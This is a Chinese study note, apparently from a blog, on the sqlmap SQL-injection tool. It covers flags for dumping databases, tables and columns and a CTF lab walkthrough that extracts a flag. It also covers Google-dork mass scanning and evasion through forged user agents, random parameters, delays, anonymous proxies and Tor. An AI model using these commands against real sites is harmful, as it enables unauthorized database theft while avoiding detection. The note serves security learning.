直连数据库
-d参数用来直连
python -d "mysql:root:123456@127.0.0.1:3306/test"
一些简单的后缀参数
--banner | 用来查看数据库版本 |
--batch | 忽略请求,全部为y |
--dbs | 查看存在的数据库 |
-D 数据库名 | 指定具体数据库 |
--tables | 爆出数据库有哪些表 |
-T 表名 | 指定具体表 |
--columns | 爆出指定表中的列 |
-C 列名 | 配合 --dump参数 |
--dump | 爆出指定列的数据 |
--dump-all | 配合-D、-T、-C参数可爆出指定的数据库、表、列的内容,不加参数可爆出数据库全部内容 |
--users | 查看当前数据库存在的用户 |
-f | 指纹,判别数据库类型 |
使用小技巧:
当使用 -r参数读取文件时,可以在需要探测的参数后边加上*
一般探测流程(速成可以直接看这个)
利用burpsuite拦截下发送的请求包,存入文件这样好做点
# 先找数据库
python sqlmap.py -r text.txt --dbs --batch
#找到数据库后找表
python sqlmap.py -r text.txt -D 找到的数据库名 --tables --batch
#找到表后找列(这个是爆破出来的)
python sqlmap.py -r text.txt -D 数据库名 -T 表名 --colums --batch
#找到列后就爆出内容
python sqlmap.py -r text.txt -D ctf -T flag -C flag --batch
一个简单的实例
漏洞环境为云镜春秋CVE-2022-32991
该靶标的介绍中说明:welcome.php中存在SQL注入攻击
正常的注册以及登录后进入该页面
-
打开burp suite抓包,将请求包存入sqlmap文件夹下的test.txt文件
![](https://img-blog.csdnimg.cn/img_convert/ea9bf03a8ca71376ae38693d180d791a.png)
2、打开sqlmap进行探测
使用以下命令进行探测
python sqlmap.py -r text.txt --dbs --batch
探测结果
![](https://img-blog.csdnimg.cn/img_convert/4394fd7b03c6d3ddc0868b3ab42f12a1.png)
q参数似乎不存在注入漏洞
-
点击屏幕尝试,点击start发现参数多了起来
![](https://img-blog.csdnimg.cn/img_convert/8871b53ca843bfa4207dd91e9f822724.png)
接下来就尝试探测该数据库
注意:以下为一个存在注入点探测的一个基本方式
-
查看该数据库下存在哪些数据库
python sqlmap.py -r text.txt --dbs --batch
探测结果发现:
![](https://img-blog.csdnimg.cn/img_convert/9b6510cfaf3e5f27fc6d443d1fc7a5f5.png)
存在4个数据库我们需要使用的是 ctf数据库
-
查看ctf数据库下有哪些表(该行为似乎是爆破找到的)
python sqlmap.py -r text.txt -D ctf --tables --batch
探测结果如下:
![](https://img-blog.csdnimg.cn/img_convert/9051769de332fe898baf5a7d2219f9e1.png)
看到flag就知道我们要找的数据肯定是在flag表中
-
接下来对flag表中的列进行爆破
python sqlmap.py -r text.txt -D ctf -T flag --colums --batch
爆破结果如下,flag表中只存在一列
![](https://img-blog.csdnimg.cn/img_convert/cee02bba19390144c5cd0300192223ee.png)
-
接下来查看flag表中的flag列的内容
python sqlmap.py -r text.txt -D ctf -T flag -C flag --batch
这不就得到内容了么
![](https://img-blog.csdnimg.cn/img_convert/5afe8cc7340f05a7521f46e5200447b3.png)
url探测
-u "url路径"
python sqlmap.py -u "http://127.0.0.1/TP5/public/sqli-labs-master/Less-1/?id=1" --banner --batch
探测结果分析
id参数存在一下注入:
![](https://img-blog.csdnimg.cn/img_convert/1a6d9d77ab791d9a04101ba80fd1c155.png)
时间注入就是类似于利用sleep(5);利用该函数
其他环境信息如下:
![](https://img-blog.csdnimg.cn/img_convert/362c5fb8d1879dd6772d9605f8a2fc1c.png)
-l参数
用来读取burp suite等拦截下来的请求日志文件,通过该文件进行读取
拦截下来的数据文件保存示例:
![](https://img-blog.csdnimg.cn/img_convert/2529d28e121c145e28ee7ffd40d53ec4.png)
将拦截下来的结果保存在已知位置,后面要进行读取,可以直接放在sqlmap根文件夹下,读取方便
python sqlmap.py -l test
根据反馈输入y即可,后缀加上--batch也行
探测结果跟-u一样
使用这个方法,可以连续探测多条url,当需要探测的比较多的时候,这是个不错的选择
-r参数*
将单个请求头保存到txt文件中,然后再搞,类似于-l,但是又不太像
-m参数
从文本文件探测多个站点,多个参数,同-l类似
![](https://img-blog.csdnimg.cn/img_convert/9eb9962b89ef60e5b0907a652424c101.png)
其余还有-x -r参数,用法差不多感觉
-c参数是调用配置文件进行探测,配置文件可以配置上面的这些还有别的,感觉还不会用到,先不学
Sqlmap Google批量扫注入
-g参数
自动利用google获取指定google hack的目标
inurl ,用来在谷歌上搜索,这个不能乱用
python sqlmap.py -g "inurl:.php?id=1"
设置请求参数
--method参数
强制要求使用的请求方法
--method=PUT
post提交 --data参数
--data参数,可以用来指定参数名称,这样就可以探测以post方式提交的请求为
--data="参数名=值"
python sqlmap.py -u "http://127.0.0.1/TP5/public/sqli-labs-master/Less-11/index.php" --data="uname=root&passwd=root&submit=Submit" -f --banner --dbs --users
设置分隔符--param-del参数
python sqlmap.py -u "http://127.0.0.1/TP5/public/sqli-labs-master/Less-11/index.php" --data="uname=root;passwd=root;submit=Submit"--param-del=";" --dbs
不加这个参数默认的是以&为分隔符
设置cookie头*
--cookie "cookie值"
有些web应用会使用Set-Cookie进行响应,sqlmap将会在接下来的http请求中,自动使用Set-Cookie的值作为cookie标头,如果不想使用这些,可以使用
--drop-set-cookie参数
Set-Cookie了解
Set-Cookie响应头字段(Response header)是服务器发送到浏览器或者其他客户端的一些信息,一般用于登陆成功的情况下返回给客户端的凭证信息,然后下次请求时会带上这个cookie,这样服务器端就能知道是来自哪个用户的请求了。
--load-cookie
用来提供包含Netscape/wegt格式的cookie的特殊文件
注意:使用cookie进行的探测需要设置 --level 2 以上
cookie参数可以用来注入,需要session验证的界面,cookie作为一个正常访问页面的参数,也存在在cookie值上存在sql注入
设置User-Agent
默认情况下,使用sqlmap进行的请求,用户代理头为:sqlmap/1.0·····,这种可能会被拦截
因此我们使用--user-agent参数来伪造
--user-agent "值" //这个值用F12可以查看
通过 --random-agent,将从data/txt/user-agents.txt文件中,随机选择一个
除此之外,user-agent和cookie一样,也有可能他的值存在注入,要是想探测的话需要, 设置 --level 3
设置HOST头
探测host头等都需要使用--level 5
设置Referer头
探测Referer头需要 --level 3 以上
设置额外的HTTP头
--header = "" 可以设置一个头
可以设置多个
--headers = "Host:值1\nuser-Agent:值2"
通过sqlmap.conf 配置文件也可以设置这些,
![](https://img-blog.csdnimg.cn/img_convert/e77d4bab9bb780d2cc9d6222373c7824.png)
设置HTTP协议认证参数
关于http协议认证参考
--auth-type参数支持:Basic、Digest、NTLM
--auth-cred认证语法为:"username值:password值"
设置HTTP代理
--proxy "http(s)://ip:端口"
设置代理服务器位置
如果需要认证
--proxy-cred username值:password值
设置认证用户名密码
--proxy-file 文件地址:
设置多条代理在文件中,如果这条代理不可使用,那就使用下一条(渗透的时候尽量使用该种方法,写一个文件,将可用的匿名代理写入文件,这样或许会更安全)
--ignore-proxy:
忽略系统代理服务器设置,如果说系统设置了代理服务器,那么你发送的每一个请求都要经过这个服务器,但是如果你探测的是本地的,那就不需要走这个服务器(如果上面设置了这个,那流量就还会走这个)《感觉不太会用》
设置Tor隐藏网络
--tor:
使用tor
--tor-port:
--tor-type =
指定tor的类型:HTTP、HTTPS、SOCKS4、SOCKS5
--check-tor
检查tor是否可用
关于tor,使用kali可以使用apt进行安装,tor的具体使用还要学习
设置延迟:
--delay 0.5:
设置延迟0.5秒
使用sqlmap进行探测的时候,会发送大量的探测请求,发的太快可能会引起服务器报警,这就需要使用延迟了,默认是不设置延迟的
设置超时:
--timeout 10.5
设置探测过程中,如果10.5s没有连接上,那就说这个目标不存在,开始后边的操作
设置重试次数:
--retries 3
设置重试次数,默认为3,跟上边超时有关,超时了就会重连,重连超过3次那就放弃
设置随机化参数*
--randomize 参数名
这也是一个防检测的方式,比如要探测id参数是否可以被注入,如果使用随机化参数那就是:--randomize id,这样id的值就会被随机生成
感觉暂时够用了先写这点后边在学再用:
学习参考:
【SQLmap工具--全网最全sqlmap讲解】 9 Sqlmap指定位置注入--关注微信公众号:白帽子搞安全(免费获取该视频资源)_哔哩哔哩_bilibili